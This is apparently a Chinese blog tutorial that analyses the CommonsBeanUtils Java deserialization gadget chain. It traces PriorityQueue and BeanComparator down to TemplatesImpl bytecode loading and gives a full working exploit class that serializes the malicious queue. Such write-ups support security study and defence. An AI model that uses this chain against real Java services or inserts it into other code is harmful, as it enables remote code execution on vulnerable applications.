目录

  1. 1. 前言
  2. 2. 环境
  3. 3. CommonsBeanUtils
    1. 3.1. JavaBean
  4. 4. 链子分析
    1. 4.1. 链尾
    2. 4.2. 中间部分
  5. 5. 编写exp

LOADING

第一次加载文章图片可能会花费较长时间

要不挂个梯子试试?(x

加载过慢请开启缓存 浏览器默认开启

CB链

2024/9/17 Web Java 反序列化
  |     |   总文章阅读量:

前言

暂时先跳过CC11,直接开始CB链,有了前面那么几条链子的基础挖这个链已经是挺轻松的了

我太想进步了(划掉

我太想学 shiro 和 fastjson 的链子了

参考:

《Java安全漫谈》

https://drun1baby.top/2022/07/12/CommonsBeanUtils%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/

https://boogipop.com/2023/03/29/Shiro%20_%20CommonBeanUtils%E5%88%A9%E7%94%A8%E9%93%BE/#%E4%BA%8C%E3%80%81Common-BeanUtils%E5%88%A9%E7%94%A8%E9%93%BE


环境

jdk8 不受版本影响均可,其余环境如下:

<dependency>  
 <groupId>commons-beanutils</groupId>  
 <artifactId>commons-beanutils</artifactId>  
 <version>1.9.2</version>  
</dependency>  
<!-- https://mvnrepository.com/artifact/commons-collections/commons-collections -->  
<dependency>  
 <groupId>commons-collections</groupId>  
 <artifactId>commons-collections</artifactId>  
 <version>3.1</version>  
</dependency>  
<!-- https://mvnrepository.com/artifact/commons-logging/commons-logging -->  
<dependency>  
 <groupId>commons-logging</groupId>  
 <artifactId>commons-logging</artifactId>  
 <version>1.2</version>  
</dependency>

CommonsBeanUtils

Apache Commons 工具集下除了 collections 以外还有 BeanUtils ,它主要用于操控 JavaBean

JavaBean

参考:https://liaoxuefeng.com/books/java/oop/core/javabean/index.html

在Java中,有很多class的定义都符合这样的规范:

  • 若干private实例字段
  • 通过public方法来读写实例字段,如 getter 和 setter

如果读写方法符合以下这种命名规范:

// 读方法:
public Type getXyz()
// 写方法:
public void setXyz(Type value)

那么这种class被称为JavaBean

我们通常把一组对应的读方法(getter)和写方法(setter)称为属性(property),只有getter的属性称为只读属性(read-only),只有setter的属性称为只写属性(write-only)


JavaBean主要用来传递数据,即把一组数据组合成一个JavaBean便于传输,此外,JavaBean可以方便地被IDE工具分析,生成读写属性的代码,比如 IDEA 里 alt+insert 生成 getter 和 setter


CommonsBeanUtils 这个包也可以操作 JavaBean,demo:

package com.example.cb;

public class javaBeanTest {
    private String name="0w0";

    public String getName() {
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }
}

Commons-BeanUtils 中提供了一个静态方法 PropertyUtils.getProperty ,让使用者可以直接调用任意 JavaBean 的 getter 方法

package com.example.cb;
import org.apache.commons.beanutils.PropertyUtils;

public class CBMethods {
    public static void main(String[] args) throws Exception{
        System.out.println(PropertyUtils.getProperty(new javaBeanTest(),"name"));
    }
}

image-20240917113355804

此时,Commons-BeanUtils 会自动找到 name 属性的getter 方法,也就是 getName ,然后调用并获得返回值

除此之外, PropertyUtils.getProperty 还支持递归获取属性,比如a对象中有属性b,b对象中有属性c,我们可以通过 PropertyUtils.getProperty(a, "b.c"); 的方式进行递归获取

而这个形式就可以实现任意函数调用


链子分析

先回忆一下 cc4 的链子:

* Gadget chain:
*      ObjectInputStream.readObject()

*          PriorityQueue.readObject()
*              PriorityQueue.heapify()
*                  PriorityQueue.siftDown()
*                 PriorityQueue.siftDownUsingComparator()

*                     TransformingComparator.compare()
*                         InvokerTransformer.transform()
*                             Method.invoke()

*                                 TemplatesImpl.newTransformer()
*                                     TemplatesImpl.getTransletInstance()
*                                         Runtime.exec()

而 CB 链和 CC4 的异同点就在于触发compare这个地方

链尾

我们链子的尾部是通过动态加载 TemplatesImpl 字节码的方式进行攻击的:

其调用链如下

TemplatesImpl#getOutputProperties() ->
TemplatesImpl#newTransformer() ->
TemplatesImpl#getTransletInstance() ->
TemplatesImpl#defineTransletClasses() ->
TransletClassLoader#defineClass()

可以看到链子的开头TemplatesImpl#getOutputProperties()是一个 getter 方法,并且在源码里它的作用域是 public

image-20240917115348270

所以可以通过 CommonsBeanUtils 中的 PropertyUtils.getProperty() 方式获取,于是恶意类加载就可以这么写:

package com.example.cb;

import com.example.Utils;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.PropertyUtils;

public class getPropertyExec {
    public static void main(String[] args) throws Exception {
        byte[] code = Utils.GenerateEvil();
        TemplatesImpl obj = new TemplatesImpl();
        Utils.SetValue(obj,"_bytecodes",new byte[][]{code});
        Utils.SetValue(obj,"_name","test");
        Utils.SetValue(obj,"_tfactory",new TransformerFactoryImpl());
        PropertyUtils.getProperty(obj,"outputProperties");
    }
}

image-20240917121341294


中间部分

接下来找谁调用了PropertyUtils.getProperty()

image-20240917121901567

跟踪到 BeanComparator#compare 方法,那么到这里就可以连上 cc4 的链子


编写exp

看一下BeanComparator#compare方法:

public int compare( T o1, T o2 ) {

    if ( property == null ) {
        // compare the actual objects
        return internalCompare( o1, o2 );
    }

    try {
        Object value1 = PropertyUtils.getProperty( o1, property );
        Object value2 = PropertyUtils.getProperty( o2, property );
        return internalCompare( value1, value2 );
    }
    // ...
}

这个方法传入两个对象,如果 this.property 为空,则直接比较这两个对象;如果 this.property 不为空,则用 PropertyUtils.getProperty 分别取这两个对象的 this.property 属性,比较属性的值

所以如果需要传值比较,肯定是需要新建一个 PriorityQueue 的队列,并让其有 2 个值进行比较

PriorityQueue 的构造函数参数当中就包含了一个 comparator,第一个参数是指定容量,我们直接指定为2即可

image-20240917133407851

我们可以在这里传入 BeanComparator,而 BeanComparator 构造函数为空时,默认的 property 就是空

所以直接传入队列

final BeanComparator beanComparator = new BeanComparator();
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, beanComparator);
queue.add(1);
queue.add(2);

然后通过反射修改 property 的值,同时传入两个 TemplatesImpl 对象到队列里

最终exp:

package com.example.cb;

import com.example.Utils;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;

import java.util.PriorityQueue;

public class Main {
    public static void main(String[] args) throws Exception{

        byte[] code = Utils.GenerateEvil();
        TemplatesImpl obj = new TemplatesImpl();
        Utils.SetValue(obj, "_name","0w0");
        Utils.SetValue(obj, "_bytecodes", new byte[][]{code});
        Utils.SetValue(obj, "_tfactory", new TransformerFactoryImpl());

        final BeanComparator beanComparator = new BeanComparator();
        final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, beanComparator);
        queue.add(1);
        queue.add(2);

        Utils.SetValue(beanComparator, "property", "outputProperties");
        Utils.SetValue(queue, "queue", new Object[]{obj, obj});

        String barr = Utils.Serialize(queue);
        System.out.println(barr);
        Utils.UnSerialize(barr);
    }
}

image-20240917135350806